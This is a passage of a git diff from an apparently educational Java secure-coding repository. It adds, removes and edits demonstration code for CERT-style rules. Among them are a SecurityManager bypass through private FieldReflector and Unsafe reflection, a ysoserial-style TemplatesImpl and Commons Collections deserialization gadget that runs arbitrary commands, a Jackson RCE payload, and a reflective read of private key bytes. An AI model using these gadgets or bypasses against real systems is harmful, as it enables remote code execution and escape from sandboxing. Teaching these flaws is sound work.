long.class); - - long off_a = (Long)objectFieldOffset_1.invoke(unsafe, f.getClass().getField("a")); - long off_b = (Long)objectFieldOffset_1.invoke(unsafe, f.getClass().getField("b")); - System.out.println(getInt_2.invoke(unsafe, f, off_a)); - System.out.println(getLong_2.invoke(unsafe, f, off_a+4)); - putInt_3.invoke(unsafe, f, off_a, 3333); - putLong_3.invoke(unsafe, f, off_a+4, 4444); - - System.out.println(f.a); - System.out.println(f.b); - */ - System.out.println("=========="); - - Class Bits = Class.forName("java.nio.Bits"); - Method _getByte = Bits.getDeclaredMethod("_get", long.class); - _getByte.setAccessible(true); - Method _putByte = Bits.getDeclaredMethod("_put", long.class, byte.class); - _putByte.setAccessible(true); - - Method address_0 = bb.getClass().getMethod("address"); //off-heap address - address_0.setAccessible(true); - - System.out.println(Long.toHexString((Long)address_0.invoke(bb))); - for (int i = 0; i < 8; i++) { - System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i)); - } - - System.out.println("=========="); - - ObjectStreamField osf = new ObjectStreamField("s", long.class); - ObjectStreamField osfarr[] = new ObjectStreamField[]{osf}; - - Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector"); - Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0]; - FieldReflector_cons.setAccessible(true); - Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr}); - System.out.println(fr); - - Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys"); - writeKeys_field.setAccessible(true); - writeKeys_field.set(fr, new long[]{116}); - - Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class); - setPrimFieldValues.setAccessible(true); - - - System.out.println(System.err); - System.out.println(System.getSecurityManager()); - - byte zeros[] = new byte[8]; - setPrimFieldValues.invoke(fr, System.class, zeros); - - System.out.println(System.err); - System.out.println(System.getSecurityManager()); - System.out.println(unsafe.getClass().getMethod("addressSize")); //bypassed - } catch (Throwable t) { - t.printStackTrace(); - } - } -} diff --git a/JavaSCR/src/main/java/acc04j/NotSafe.java b/JavaSCR/src/main/java/acc04j/NotSafe.java deleted file mode 100644 index 97bc6a8..0000000 --- a/JavaSCR/src/main/java/acc04j/NotSafe.java +++ /dev/null @@ -1,77 +0,0 @@ -// The MIT License (MIT) -// -// Copyright (c) 2018 Robert C. Seacord -// Cleaned up version of PoC by Jeff Dileo -// -// Permission is hereby granted, free of charge, to any person obtaining a copy -// of this software and associated documentation files (the "Software"), to deal -// in the Software without restriction, including without limitation the rights -// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -// copies of the Software, and to permit persons to whom the Software is -// furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in all -// copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -// SOFTWARE. - -package acc04j; - -import java.lang.reflect.Field; -import java.nio.ByteBuffer; -import java.lang.Object; - -import sun.misc.Unsafe; - -public class NotSafe { - - public static Unsafe getUnsafeObject() throws ClassNotFoundException, NoSuchFieldException, SecurityException, - IllegalArgumentException, IllegalAccessException { - Class u = Class.forName("sun.misc.Unsafe"); - Field f = u.getDeclaredField("theUnsafe"); - f.setAccessible(true); - return (Unsafe) f.get(null); - } - - public static Class getUnsafeObjectTheHardWay() - throws IllegalAccessException, SecurityException, NoSuchFieldException { - ByteBuffer bb = ByteBuffer.allocateDirect(8192); - bb.putInt(0x41414141); - bb.putInt(0x42424242); - - Class c = bb.getClass(); - System.out.println(c); - // class java.nio.DirectByteBuffer caches an unsafe-access object in - // field: - // protected static final Unsafe unsafe = Bits.unsafe(); - Field unsafe_field = bb.getClass().getDeclaredField("unsafe"); - System.out.println(unsafe_field); - unsafe_field.setAccessible(true); - // Reading the value of the unsafe field to get the unsafe object handle - Object unsafe = unsafe_field.get(null); - System.out.println(unsafe); - Class unsafeClass = unsafe.getClass(); - return unsafeClass; - } - - public static void main(String[] argv) throws NoSuchFieldException, SecurityException, ClassNotFoundException, - IllegalArgumentException, IllegalAccessException { - SecurityManager sm = System.getSecurityManager(); - if (sm != null) { - System.out.println("Security manager installed."); - } else { - System.out.println("No security manager."); - } - - // get the offset of the "standard" error output stream. - Unsafe unsafe = getUnsafeObject(); - Field f = System.class.getDeclaredField("err"); - System.out.println(unsafe.staticFieldOffset(f)); - } // end main -} // end NotSafe class diff --git a/JavaSCR/src/main/java/acc04j/UnSecurityManager.java b/JavaSCR/src/main/java/acc04j/UnSecurityManager.java deleted file mode 100644 index ab6c90f..0000000 --- a/JavaSCR/src/main/java/acc04j/UnSecurityManager.java +++ /dev/null @@ -1,64 +0,0 @@ -package acc04j; - -import java.lang.reflect.*; -import java.io.*; - -class UnSecurityManager { - - public static void main(String[] argv) { - try { - SecurityManager sm = System.getSecurityManager(); - if (sm != null) { - System.out.println("Security manager installed."); - } else { - System.out.println("No security manager."); - } - - try { - System.setProperty("acc04j.options", "privileged"); - } catch (java.security.AccessControlException ace) { - System.out.println(ace.getMessage()); - } - - // Creates an ObjectStreamField representing a serializable field with the named s with type long. - ObjectStreamField osf = new ObjectStreamField("s", long.class); - ObjectStreamField osfArray[] = new ObjectStreamField[] { osf }; - - // FieldReflector is a private static class for setting and retrieving serializable field values - Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector"); - Constructor FieldReflector_ctor = FieldReflector.getDeclaredConstructors()[0]; - FieldReflector_ctor.setAccessible(true); - Object fr = FieldReflector_ctor.newInstance(new Object[] { osfArray }); - System.out.println(fr); - - // FieldReflector.writeKeys is the unsafe fields keys for writing fields - Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys"); - writeKeys_field.setAccessible(true); - writeKeys_field.set(fr, new long[] { 116 }); - - // The setPrimFieldValues method sets the serializable primitive fields of an object using values - // unmarshalled from a byte array starting at offset 0. - Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class); - setPrimFieldValues.setAccessible(true); - - System.out.println(System.getSecurityManager()); - - // Overwrite the security manager for the system with null (zeros). - byte zeros[] = new byte[8]; - setPrimFieldValues.invoke(fr, System.class, zeros); - - sm = System.getSecurityManager(); - if (sm != null) { - System.out.println("Security manager installed."); - } else { - System.out.println("No security manager."); - } - - System.setProperty("acc04j.options", "privileged"); - } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException | NoSuchMethodException - | SecurityException | NoSuchFieldException | InstantiationException | ClassNotFoundException e) { - e.printStackTrace(); - } - } // end main() - -} // end class UnSecuritymanager diff --git a/JavaSCR/src/main/java/acc04j/java.policy b/JavaSCR/src/main/java/acc04j/java.policy deleted file mode 100644 index b21215b..0000000 --- a/JavaSCR/src/main/java/acc04j/java.policy +++ /dev/null @@ -1,6 +0,0 @@ -// reduced default permissions granted to all domains - -grant { - permission java.lang.reflect.ReflectPermission "suppressAccessChecks"; - permission java.lang.RuntimePermission "accessDeclaredMembers"; -}; diff --git a/JavaSCR/src/main/java/err00j/MethodCallStack.java b/JavaSCR/src/main/java/err00j/MethodCallStack.java deleted file mode 100644 index 7e5189a..0000000 --- a/JavaSCR/src/main/java/err00j/MethodCallStack.java +++ /dev/null @@ -1,56 +0,0 @@ -package err00j; - -import java.lang.UnsupportedOperationException; - -class MethodCallStack { - - public static void main(String[] args) { - System.out.println("Enter main()"); - try { - methodA(); - } - catch (UnsupportedOperationException uoe) { - uoe.printStackTrace(); - } - System.out.println("Exit main()"); - } - - private static void methodA() { - System.out.println("Enter methodA()"); - try { - methodB(); - } - finally { - System.out.println("methodA() finally block"); - } - System.out.println("Exit methodA()"); - } - - private static void methodB() { - System.out.println("Enter methodB()"); - try { - methodC(); - } - finally { - System.out.println("methodB() finally block"); - } - System.out.println("Exit methodB()"); - } - - private static void methodC() { - System.out.println("Enter methodC()"); - try { - methodD(); - } - finally { - System.out.println("methodC() finally block"); - } - System.out.println("Exit methodC()"); - } - - private static void methodD() { - System.out.println("Enter methodD()"); - throw new UnsupportedOperationException(); - // unreachable - } -} diff --git a/JavaSCR/src/main/java/err11j/DAOException.java b/JavaSCR/src/main/java/err11j/DAOException.java deleted file mode 100644 index 3250049..0000000 --- a/JavaSCR/src/main/java/err11j/DAOException.java +++ /dev/null @@ -1,56 +0,0 @@ -package err11j; - -class DAOException extends Exception { - private static final long serialVersionUID = 3502193523257182899L; - - public DAOException(String message) { - super(message); - } -} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -/* -public DAOException(String message, Throwable cause) { - super(message, cause); -} -*/ \ No newline at end of file diff --git a/JavaSCR/src/main/java/err11j/DatabaseUtils.java b/JavaSCR/src/main/java/err11j/DatabaseUtils.java deleted file mode 100644 index 850c254..0000000 --- a/JavaSCR/src/main/java/err11j/DatabaseUtils.java +++ /dev/null @@ -1,9 +0,0 @@ -package err11j; - -import java.sql.*; - -class DatabaseUtils { - public static void executeQuery(String sql) throws SQLException { - throw new SQLException("Oopsie!" + sql); //$NON-NLS-1$ - } -} \ No newline at end of file diff --git a/JavaSCR/src/main/java/err11j/EmployeeDAO.java b/JavaSCR/src/main/java/err11j/EmployeeDAO.java deleted file mode 100644 index e0582f9..0000000 --- a/JavaSCR/src/main/java/err11j/EmployeeDAO.java +++ /dev/null @@ -1,64 +0,0 @@ -package err11j; - -import java.sql.*; - -class EmployeeDAO { - public static void list() throws DAOException { - try { - DatabaseUtils.executeQuery("SELECT"); - } catch (SQLException ex) { - throw new DAOException("Error querying employee from database " + ex.getMessage()); - } - } -} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -// throw new DAOException("Error querying employee from database", ex); \ No newline at end of file diff --git a/JavaSCR/src/main/java/err11j/EmployeeException.java b/JavaSCR/src/main/java/err11j/EmployeeException.java deleted file mode 100644 index 69cefa8..0000000 --- a/JavaSCR/src/main/java/err11j/EmployeeException.java +++ /dev/null @@ -1,13 +0,0 @@ -package err11j; - -class EmployeeException extends Exception { - private static final long serialVersionUID = 1426450337125104125L; - - public EmployeeException(String message) { - super(message); - } - - public EmployeeException(String message, Throwable cause) { - super(message, cause); - } -} \ No newline at end of file diff --git a/JavaSCR/src/main/java/err11j/Employer.java b/JavaSCR/src/main/java/err11j/Employer.java deleted file mode 100644 index 5b7a34e..0000000 --- a/JavaSCR/src/main/java/err11j/Employer.java +++ /dev/null @@ -1,49 +0,0 @@ -package err11j; - -class Employer { - - final private EmployeeDAO dao; - - public Employer(EmployeeDAO dao) { - this.dao = dao; - } - - public static void findEmployee(String keyword) throws EmployeeException { - try { - EmployeeDAO.list(); - } catch (DAOException ex) { - throw new EmployeeException("Can't find employee " + keyword); - } - } - - public EmployeeDAO getDao() { - return this.dao; - } -} - - - - - - - - - - - - - - - - - - - - - - - - - - -// throw new EmployeeException("Can't find employee", ex); diff --git a/JavaSCR/src/main/java/err11j/Program.java b/JavaSCR/src/main/java/err11j/Program.java deleted file mode 100644 index 46bcbb1..0000000 --- a/JavaSCR/src/main/java/err11j/Program.java +++ /dev/null @@ -1,15 +0,0 @@ -package err11j; - -class Program { - public static void main(String[] args) { - EmployeeDAO dao = new EmployeeDAO(); - Employer manager = new Employer(dao); - - try { - manager.findEmployee("Spiff"); //$NON-NLS-1$ - } - catch (EmployeeException ex) { - ex.printStackTrace(); - } - } -} diff --git a/JavaSCR/src/main/java/exp06j/CommandFactory.java b/JavaSCR/src/main/java/exp06j/CommandFactory.java index acc3b55..e97bbfd 100644 --- a/JavaSCR/src/main/java/exp06j/CommandFactory.java +++ b/JavaSCR/src/main/java/exp06j/CommandFactory.java @@ -66,6 +66,7 @@ else if (ThreadLocalRandom.current().nextBoolean()) { class Program { public static void main(String[] args) throws InterruptedException { CommandFactory factory = new CommandFactory(); + //noinspection InfiniteLoopStatement while (true) { Command command = factory.getCommand(); // Since the CommandFactory can return null commands, diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.rar b/JavaSCR/src/main/java/ids04j/10GB/10GB.rar deleted file mode 100644 index 7e450b8..0000000 Binary files a/JavaSCR/src/main/java/ids04j/10GB/10GB.rar and /dev/null differ diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.zip b/JavaSCR/src/main/java/ids04j/10GB/10GB.zip deleted file mode 100644 index 9d535dd..0000000 Binary files a/JavaSCR/src/main/java/ids04j/10GB/10GB.zip and /dev/null differ diff --git a/JavaSCR/src/main/java/jackpoly/Cat.java b/JavaSCR/src/main/java/jackpoly/Cat.java new file mode 100644 index 0000000..bd3becd --- /dev/null +++ b/JavaSCR/src/main/java/jackpoly/Cat.java @@ -0,0 +1,39 @@ +package jackpoly; + + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +class Cat extends Animal { + + @JsonProperty + public Byte[] extra_memory; + + @JsonCreator + public Cat(@JsonProperty("name") String name) { + this.name = name; + } + + public String getName() { + return name; + } + + public String getSound() { + return "trumpet"; + } + + public String getType() { + return "herbivorous"; + } + + public boolean isEndangered() { + return false; + } + + @Override + public String toString() { + return "Cat [name=" + name + ", getName()=" + getName() + ", getSound()=" + getSound() + ", getType()=" + getType() + + ", isEndangered()=" + isEndangered() + "]"; + } + +} \ No newline at end of file diff --git a/JavaSCR/src/main/java/jackpoly/Polymorphism.java b/JavaSCR/src/main/java/jackpoly/Polymorphism.java index d0396b0..825a8f4 100644 --- a/JavaSCR/src/main/java/jackpoly/Polymorphism.java +++ b/JavaSCR/src/main/java/jackpoly/Polymorphism.java @@ -1,3 +1,25 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + package jackpoly; import java.io.File; diff --git a/JavaSCR/src/main/java/jackson/Cage.java b/JavaSCR/src/main/java/jackson/Cage.java index 9748508..47f60e0 100644 --- a/JavaSCR/src/main/java/jackson/Cage.java +++ b/JavaSCR/src/main/java/jackson/Cage.java @@ -113,7 +113,7 @@ public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, InstantiationException, CannotCompileException, NotFoundException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException { Properties props = System.getProperties(); - props.setProperty("upstreamXalan", "false"); + props.setProperty("upstreamXalan", "true"); // Writes gadget by hand and then deserializes using unmarshal String json = rcePayload(); diff --git a/JavaSCR/src/main/java/jackson/TemplatesUtil.java b/JavaSCR/src/main/java/jackson/TemplatesUtil.java index ab5344e..ab3d7c9 100644 --- a/JavaSCR/src/main/java/jackson/TemplatesUtil.java +++ b/JavaSCR/src/main/java/jackson/TemplatesUtil.java @@ -19,24 +19,22 @@ of this software and associated documentation files (the "Software"), to deal package jackson; -import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; - -import java.io.IOException; -import java.io.Serializable; -import java.lang.reflect.InvocationTargetException; - import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; - import javassist.*; - import ser05j.ClassFiles; import ser05j.Reflections; +import java.io.IOException; +import java.io.Serializable; +import java.lang.reflect.InvocationTargetException; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + /* * utility generator functions for common jdk-only gadgets */ diff --git a/JavaSCR/src/main/java/obj14j/Leak.java b/JavaSCR/src/main/java/obj14j/Leak.java deleted file mode 100644 index f75fcd9..0000000 --- a/JavaSCR/src/main/java/obj14j/Leak.java +++ /dev/null @@ -1,18 +0,0 @@ -package obj14j; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; - -class Leak { - private static final int Bx41 = 0x41; - private static final int Bx42 = 0x42; - private static final int Bx43 = 0x43; - private static final int Bx44 = 0x44; - @SuppressWarnings("unused") - private static byte[] keyBytes = new byte[] {Bx41, Bx42, Bx43, Bx44}; - @SuppressWarnings("unused") - private static SecretKeySpec key; - @SuppressWarnings("unused") - private static Cipher cipher; - -} // end class Leak diff --git a/JavaSCR/src/main/java/obj14j/Spy.java b/JavaSCR/src/main/java/obj14j/Spy.java deleted file mode 100644 index 5cbb12d..0000000 --- a/JavaSCR/src/main/java/obj14j/Spy.java +++ /dev/null @@ -1,35 +0,0 @@ -package obj14j; - -import java.lang.reflect.Array; -import java.lang.reflect.Field; - -class Spy { - public static void main(String[] args) { - SecurityManager sm = System.getSecurityManager(); - if (sm != null) { - System.out.println("Security manager installed."); //$NON-NLS-1$ - } else { - System.out.println("No security manager."); //$NON-NLS-1$ - } - - // Returns an array of Field objects reflecting - // all the fields declared by the class (including private) - final Field fields[] = Leak.class.getDeclaredFields(); - - // Enumerate fields - for (Field field : fields) { - System.out.println("Field: " + field); //$NON-NLS-1$ - if (field.getType().isArray()) { - try { - Object array = field.get("keyBytes".getClass()); //$NON-NLS-1$ - int length = Array.getLength(array); - for (int j = 0; j < length; j++) { - System.out.println(Array.get(array, j)); - } - } catch (IllegalArgumentException | IllegalAccessException e) { - e.printStackTrace(); - } - } - } - } // end main -} diff --git a/JavaSCR/src/main/java/ser05j/ClassFiles.java b/JavaSCR/src/main/java/ser05j/ClassFiles.java index 5d4f85f..28ed03d 100644 --- a/JavaSCR/src/main/java/ser05j/ClassFiles.java +++ b/JavaSCR/src/main/java/ser05j/ClassFiles.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/ser05j/Gadgets.java b/JavaSCR/src/main/java/ser05j/Gadgets.java index b90f367..0c77937 100644 --- a/JavaSCR/src/main/java/ser05j/Gadgets.java +++ b/JavaSCR/src/main/java/ser05j/Gadgets.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -23,7 +23,6 @@ package ser05j; import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; @@ -33,7 +32,10 @@ import java.io.IOException; import java.io.Serializable; -import java.lang.reflect.*; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; @@ -99,18 +101,20 @@ public static Map createMap(final String key, final Object val) return map; } - - public static Object createTemplatesImpl(final String command) + public static Object createLibraryTemplatesImpl(final String command) throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException { - if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { - return createTemplatesImpl( + return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), - Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); - } + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl") + ); + } + public static Object createTemplatesImpl(final String command) + throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, + IOException, ClassNotFoundException, NoSuchFieldException { return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } @@ -126,7 +130,7 @@ public static T createTemplatesImpl(final String command, Class tplClass, final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); //$NON-NLS-3$ //$NON-NLS-4$ + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); diff --git a/JavaSCR/src/main/java/ser05j/RCE.java b/JavaSCR/src/main/java/ser05j/RCE.java index 9b9dcab..daa3081 100644 --- a/JavaSCR/src/main/java/ser05j/RCE.java +++ b/JavaSCR/src/main/java/ser05j/RCE.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2025 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -23,7 +23,6 @@ package ser05j; import javax.xml.transform.Templates; - import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; @@ -51,7 +50,6 @@ private static byte[] serialize(Object o) throws IOException { /** * Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0 * - * @throws Exception for everything. * @return a byte array containing the serialized queue */ private static byte[] RCEpayload() throws Exception { @@ -75,10 +73,10 @@ private static byte[] RCEpayload() throws Exception { // create queue with numbers PriorityQueue queue = new PriorityQueue<>(2, new TransformingComparator<>(chain)); - queue.add(1); - queue.add(1); + queue.add(1); + queue.add(1); - // swap in values to arm + // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; @@ -94,7 +92,7 @@ private static Object deserialize(byte[] buffer) throws IOException, ClassNotFou return obj; } - public static void main(String[] args) { + static void main(String[] ignoredArgs) { try { @SuppressWarnings("unused") Object obj = deserialize(RCEpayload()); System.out.println("DoS has been deserialized."); diff --git a/JavaSCR/src/main/java/ser05j/Reflections.java b/JavaSCR/src/main/java/ser05j/Reflections.java index e25db4b..7351154 100644 --- a/JavaSCR/src/main/java/ser05j/Reflections.java +++ b/JavaSCR/src/main/java/ser05j/Reflections.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/ser08j/BogusPeriod.java b/JavaSCR/src/main/java/ser08j/BogusPeriod.java deleted file mode 100644 index ce9e07b..0000000 --- a/JavaSCR/src/main/java/ser08j/BogusPeriod.java +++ /dev/null @@ -1,40 +0,0 @@ -package ser08j; - -import java.io.ByteArrayInputStream; -import java.io.InputStream; -import java.io.ObjectInputStream; - -public class BogusPeriod { - // Byte stream could not have come from real Period instance! - private static final byte[] serializedForm = new byte[] { - (byte)0xac, (byte)0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x06, - 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x40, 0x7e, (byte)0xf8, - 0x2b, 0x4f, 0x46, (byte)0xc0, (byte)0xf4, 0x02, 0x00, 0x02, - 0x4c, 0x00, 0x03, 0x65, 0x6e, 0x64, 0x74, 0x00, 0x10, 0x4c, - 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f, - 0x44, 0x61, 0x74, 0x65, 0x3b, 0x4c, 0x00, 0x05, 0x73, 0x74, - 0x61, 0x72, 0x74, 0x71, 0x00, 0x7e, 0x00, 0x01, 0x78, 0x70, - 0x73, 0x72, 0x00, 0x0e, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x75, - 0x74, 0x69, 0x6c, 0x2e, 0x44, 0x61, 0x74, 0x65, 0x68, 0x6a, - (byte)0x81, 0x01, 0x4b, 0x59, 0x74, 0x19, 0x03, 0x00, 0x00, - 0x78, 0x70, 0x77, 0x08, 0x00, 0x00, 0x00, 0x66, (byte)0xdf, - 0x6e, 0x1e, 0x00, 0x78, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x03, - 0x77, 0x08, 0x00, 0x00, 0x00, (byte)0xd5, 0x17, 0x69, 0x22, - 0x00, 0x78 }; - - public static void main(String[] args) { - Period p = (Period) deserialize(serializedForm); - System.out.println(p); - } - - // Returns the object with the specified serialized form - private static Object deserialize(byte[] sf) { - try { - InputStream is = new ByteArrayInputStream(sf); - ObjectInputStream ois = new ObjectInputStream(is); - return ois.readObject(); - } catch (Exception e) { - throw new IllegalArgumentException(e); - } - } -} \ No newline at end of file diff --git a/JavaSCR/src/main/java/ser09j/DeserializeEnumSingleton.java b/JavaSCR/src/main/java/ser09j/DeserializeEnumSingleton.java deleted file mode 100644 index 7179f06..0000000 --- a/JavaSCR/src/main/java/ser09j/DeserializeEnumSingleton.java +++ /dev/null @@ -1,18 +0,0 @@ -package ser09j; - -import java.io.FileInputStream; -import java.io.IOException; -import java.io.ObjectInputStream; - -public class DeserializeEnumSingleton { - public static void main(String[] args) throws ClassNotFoundException, IOException { - EnumSingleton.INSTANCE.setValue(21); - System.out.println("EnumSingleton.INSTANCE = " + EnumSingleton.INSTANCE.getValue()); - try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("tempdata.ser"))) { - EnumSingleton one = (EnumSingleton) ois.readObject(); - System.out.println("EnumSingleton.INSTANCE == one is " + (EnumSingleton.INSTANCE == one)); - System.out.println("one = " + one.getValue()); - System.out.println("EnumSingleton.INSTANCE = " + EnumSingleton.INSTANCE.getValue()); - } - } -} diff --git a/JavaSCR/src/main/java/ser09j/EnumSingleton.java b/JavaSCR/src/main/java/ser09j/EnumSingleton.java deleted file mode 100644 index 02ce390..0000000 --- a/JavaSCR/src/main/java/ser09j/EnumSingleton.java +++ /dev/null @@ -1,28 +0,0 @@ -package ser09j; - -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; - -public enum EnumSingleton { - INSTANCE; - int value; - public int getValue() { - return value; - } - public void setValue(int value) { - this.value = value; - } - - static void serialize(Object o) throws IOException { - try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempdata.ser"))) { - oos.writeObject(o); - } - } - - public static void main(String[] args) throws IOException { - EnumSingleton.INSTANCE.setValue(42); - System.out.println("EnumSingleton.INSTANCE = " + EnumSingleton.INSTANCE.getValue()); - serialize(EnumSingleton.INSTANCE); - } -} diff --git a/JavaSCR9/.gitignore b/JavaSCR9/.gitignore index 2b44cb9..6414b46 100644 --- a/JavaSCR9/.gitignore +++ b/JavaSCR9/.gitignore @@ -1,6 +1,31 @@ # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and WebStorm # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* +replay_pid* + /bin/ .idea/workspace.xml diff --git a/JavaSCR9/pom.xml b/JavaSCR9/pom.xml index ba90c23..fa5ddef 100644 --- a/JavaSCR9/pom.xml +++ b/JavaSCR9/pom.xml @@ -8,19 +8,43 @@ JavaSCR9 1.0-SNAPSHOT - - - - org.apache.maven.plugins - maven-compiler-plugin - - 1.10 - 1.10 - - - - + + + com.fasterxml.jackson.core + jackson-annotations + RELEASE + + + com.fasterxml.jackson.core + jackson-core + RELEASE + + + + com.fasterxml.jackson.core + jackson-databind + RELEASE + + + + + commons-io + commons-io + RELEASE + + + + org.javassist + javassist + RELEASE + + + com.google.guava + guava-testlib + 31.1-jre + compile + + - \ No newline at end of file diff --git a/JavaSCR/src/main/java/IDS08J/LogSearch.java b/JavaSCR9/src/main/java/IDS08J/LogSearch.java similarity index 93% rename from JavaSCR/src/main/java/IDS08J/LogSearch.java rename to JavaSCR9/src/main/java/IDS08J/LogSearch.java index a64c106..ed8d1cb 100644 